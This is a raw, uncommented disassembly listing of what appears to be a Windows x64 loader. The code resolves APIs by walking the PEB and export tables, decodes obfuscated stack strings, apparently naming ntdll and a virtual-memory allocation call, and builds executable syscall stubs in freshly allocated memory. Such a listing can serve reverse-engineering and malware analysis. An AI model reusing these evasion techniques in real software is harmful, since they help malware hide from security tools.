lea r12d, [rax + 1]
mov r10d, r12d
mov r14, qword [rbp - 0x78]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140023343
mov r14d, reloc.WS2_32.dll_socket
lea r12d, [r14 - 2]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x1400233ce
mov rax, rcx
lea r9, [rbp + 0x1b9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400233c7
add rax, r11
test edx, edx
jne 0x1400233b2
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x140023b87
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
xor edi, edi
cmp rax, qword [rbp - 0x80]
jne 0x1400232fe
mov eax, edi
mov ecx, 1
cmp dword [rbp - 0x68], edi
jl 0x140034b2d
test eax, eax
js 0x140034b2d
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x50]
mov rcx, qword [rbp + 0xcd8]
mov qword [rbp - 0x48], rcx
mov qword [rbp + 0xd38], rdi
mov qword [rbp + 0xf10], rax
mov byte [rbp + 0x7b8], 0x44
mov r9, r14
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7b9], al
mov r9, r14
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7ba], al
mov r9, r14
lea r8d, [r15 + 1]
mov dl, 0x41
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7bb], al
mov r9, r14
lea r8d, [r15 + 2]
mov dl, 0x6c
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7bc], al
mov r9, r14
lea r8d, [r15 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7bd], al
mov r9, r14
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7be], al
mov r9, r14
lea r8d, [r15 + 5]
mov dl, 0x63
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7bf], al
mov r9, r14
lea r8d, [r15 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c0], al
mov r9, r14
lea r8d, [r15 + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c1], al
mov r9, r14
lea r8d, [r15 + 8]
mov dl, 0x65
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c2], al
mov r9, r14
lea r8d, [r15 + 9]
mov dl, 0x56
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c3], al
mov r9, r14
lea r8d, [r15 + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c4], al
mov r9, r14
lea r8d, [r15 + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c5], al
mov r9, r14
lea r8d, [r15 + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c6], al
mov r9, r14
lea r8d, [r15 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c7], al
mov r9, r14
lea r8d, [r15 + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c8], al
mov r9, r14
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7c9], al
mov r9, r14
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7ca], al
mov r9, r14
lea r8d, [r15 + 0x11]
mov dl, 0x65
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7cb], al
mov r9, r14
lea r8d, [r15 + 0x12]
mov dl, 0x6d
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7cc], al
mov r9, r14
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7cd], al
mov r9, r14
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7ce], al
mov r9, r14
lea r8d, [r15 + 0x15]
mov dl, 0x79
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + 0x7cf], al
xor eax, eax
mov byte [rbp + 0x7d0], al
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b9]
lea rcx, [rbp + 0x7b8]
call fcn.140036134
mov byte [rbp + rdi + 0x7b9], al
add rdi, r15
cmp rdi, r14
jb 0x1400236a7
xor edi, edi
mov byte [rbp + 0x7d0], dil
mov byte [rbp + 0x1a8], 0x45
lea r15d, [rdi + 9]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + 0x1a9], al
mov r9d, r15d
lea r13d, [rdi + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + 0x1aa], al
mov r9d, r15d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + 0x1ab], al
mov r9d, r15d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + 0x1ac], al
mov r9d, r15d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + 0x1ad], al
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + 0x1ae], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + 0x1af], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + 0x1b0], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + 0x1b1], al
xor eax, eax
mov byte [rbp + 0x1b2], al
lea r15d, [rdi + 0x20]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1a9]
lea rcx, [rbp + 0x1a8]
call fcn.140035cf8
mov byte [rbp + rdi + 0x1a9], al
add rdi, r13
cmp rdi, 9
jb 0x1400237e4
xor eax, eax
mov byte [rbp + 0x1b2], al
mov rax, qword gs:[0x60]
test rax, rax
mov r13d, reloc.WS2_32.dll_recv
je 0x14002404a
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x1400238b5
lea r12d, [rax + 1]
mov r10d, r12d
mov rsi, qword [rbp - 0x78]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140023889
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi + 1]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140023911
mov rax, rcx
lea r9, [rbp + 0x1a9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002390a
add rax, r11
test edx, edx
jne 0x1400238f5
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x140023de5
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rbp - 0x80]
jne 0x140023840
jmp 0x14002404a
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140022e8d
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140022e8d
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140022e8d
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140022e8d
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140022e8d
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4e9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400239cb
inc rax
test edi, edi
jne 0x1400239b6
xor r9d, r9d
test r8d, r8d
je 0x1400239e2
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x1400239a5
jmp 0x140022e8d
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140022e8d
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140022e8d
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x30], rax
call fcn.140094c90
or dword [rbp + 0xd394], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xc010]
call fcn.140036bc4
lea rcx, [rbp + 0xc010]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0xc010]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x46490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140023a89
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x46490]
mov rdi, qword [rbp - 0x30]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe64], eax
lea r9, [rbp + 0xe64]
mov r8d, r15d
mov edx, r13d
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 0x18]
lea r8, [rbp + 0xf28]
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp + 0xe10]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe64]
mov r8d, dword [rbp + 0xe64]
mov edx, r13d
mov rdi, qword [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, rdi
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
lea r13d, [rax + 0x10]
jmp 0x140022e91
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x1400233f3
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400233f3
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400233f3
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400233f3
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x1400233f3
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x591]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140023c1a
inc rax
test edi, edi
jne 0x140023c05
xor edi, edi
test r8d, r8d
je 0x140023c30
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140023bf4
jmp 0x1400233f3
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400233f3
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140023dde
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x30], rax
call fcn.140094c90
or dword [rbp + 0xe724], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xd3a0]
call fcn.140036bc4
lea rcx, [rbp + 0xd3a0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0xd3a0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x29490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140023cd5
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x29490]
mov rdi, qword [rbp - 0x30]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe60], eax
lea r9, [rbp + 0xe60]
mov r8d, r15d
mov edx, r13d
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, qword [rbp - 0x50]
add rdx, 0x18
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x105
lea r8, [rbp + 0x28270]
mov rcx, qword [rbp + 0xe10]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xe60]
mov r8d, dword [rbp + 0xe60]
mov edx, r13d
mov rdi, qword [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, rdi
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400e8364], edi
lea r13d, [rdi + 0x10]
mov eax, dword [rsp + 0x60]
jmp 0x1400233f5
mov eax, edi
jmp 0x1400233fa
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002404a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002404a
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002404a
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002404a
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x14002404a
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7b9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140023e76
inc rax
test edi, edi
jne 0x140023e61
test r8d, r8d
je 0x140023e8a
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140023e50
jmp 0x14002404a
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002404a
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002404a
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.140094c90
or dword [rbp + 0xfab4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xe730]
call fcn.140036bc4
lea rcx, [rbp + 0xe730]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0xe730]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x2a490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x140023f34
mov r8d, 0x1000
lea rdx, [rbp + 0x2a490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe5c], eax
lea r9, [rbp + 0xe5c]
lea r15d, [rax + 0x20]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xf10]
lea r8d, [r15 - 0x1d]
lea rdx, [rbp + 0xd38]
mov rcx, qword [rbp - 0x48]
call rdi
mov edi, eax
lea r9, [rbp + 0xe5c]
mov r8d, dword [rbp + 0xe5c]
mov edx, 0x1000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp + 0xe10]
call fcn.1400bcba0
lea edx, [r15 - 0x15]
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
test edi, edi
js 0x140024061
mov rax, qword [rbp + 0xd38]
mov qword [rbp + 0xe10], rax
test rax, rax
jne 0x14002457d
mov word [rbp + 0x830], 0x6642
mov byte [rbp + 0x832], 0xf7
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x833], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x834], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x835], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x836], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x837], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x838], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x839], al
mov r9, rbx
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x83a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x83b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x83c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x83d], al
mov r9, rbx
mov r14d, reloc.WS2_32.dll_listen
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x83e], al
mov r9, rbx
lea r8d, [r14 + 1]
mov dl, 0x75
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x83f], al
mov r9, rbx
lea r8d, [r14 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x840], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x830]
call fcn.140035de8
mov byte [rbp + 0x841], al
xor eax, eax
mov byte [rbp + 0x842], al
mov r8d, eax
mov r9, rbx
lea r10d, [r14 - 0xc]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x830]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x830]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x831], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x14002423d
xor edi, edi
mov byte [rbp + 0x842], dil
mov word [rbp + 0x910], 0xeb5f
lea eax, [rdi + 3]
mov byte [rbp + 0x912], al
mov r9, r12
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x913], al
mov r9, r12
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x914], al
mov r9, r12
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x915], al
mov r9, r12
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x916], al
mov r9, r12
lea r8d, [rdi + 6]
mov dl, r15b
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x917], al
mov r9, r12
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x918], al
mov r9, r12
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x919], al
mov r9, r12
lea r8d, [rdi + 9]
mov dl, r15b
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x91a], al
mov r9, r12
lea r8d, [rdi + 0xa]
mov dl, 0x53
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x91b], al
mov r9, r12
lea r8d, [rdi + 0xb]
mov dl, 0x65
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x91c], al
mov r9, r12
lea r8d, [rdi + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x91d], al
mov r9, r12
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x91e], al
mov r9, r12
lea r8d, [rdi + 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x91f], al
mov r9, r12
lea r8d, [rdi + 0xf]
mov dl, r15b
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x920], al
mov r9, r12
mov r8, r13
mov dl, 0x49
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x921], al
mov r9, r12
mov r8, rbx
mov dl, 0x6d
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x922], al
mov r9, r12
lea r8d, [rdi + 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x923], al
mov r9, r12
lea r8d, [rdi + 0x13]
mov dl, 0x67
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x924], al
mov r9, r12
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0x910]
call fcn.140035ed8
mov byte [rbp + 0x925], al
xor eax, eax
mov byte [rbp + 0x926], al
mov r8d, edi
mov r9, r12
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x910]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x910]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x911], dil
add r8, rbx
add r9, r12
cmp r9, 0x1ce
jb 0x1400244e4
xor eax, eax
mov byte [rbp + 0x926], al
xor r9d, r9d
lea r8, [rbp + 0x831]
lea rdx, [rbp + 0x911]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x20], rax
mov r10, qword [rbp - 8]
mov edi, dword [r10 + 0x90]
movzx eax, word [r10 + 0x14]
lea rdx, [r10 + 0x18]
add rdx, rax
movzx eax, word [r10 + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x1400245c8
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x1400245c4
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x140024678
add rdx, 0x28
cmp rdx, r8
jb 0x1400245ae
xor eax, eax
mov r11d, eax
mov qword [rbp - 0x30], r11
test edi, edi
je 0x140024629
cmp dword [r10 + 0x94], eax
je 0x140024629
mov r9d, dword [r11 + 0xc]
movzx edx, word [r10 + 0x14]
add rdx, 0x18
add rdx, r10
mov rdi, rdx
movzx eax, word [r10 + 6]
lea rcx, [rax + rax*4]
lea r10, [rdx + rcx*8]
cmp rdx, r10
jae 0x140024625
mov r8d, dword [rdi + 0xc]
cmp r9, r8
jb 0x14002461c
mov eax, dword [rdi + 8]
add eax, r8d
cmp r9, rax
jb 0x140024690
add rdi, 0x28
cmp rdi, r10
jb 0x140024608
mov r10, qword [rbp - 8]
mov r9, qword [rbp + 0xbc8]
mov rdi, qword [rbp + 0xe10]
mov rax, rdi
sub rax, qword [r10 + 0x30]
mov qword [rbp - 0x60], rax
je 0x14002ef2f
test byte [r10 + 0x5e], 0x40
je 0x14002ef2f
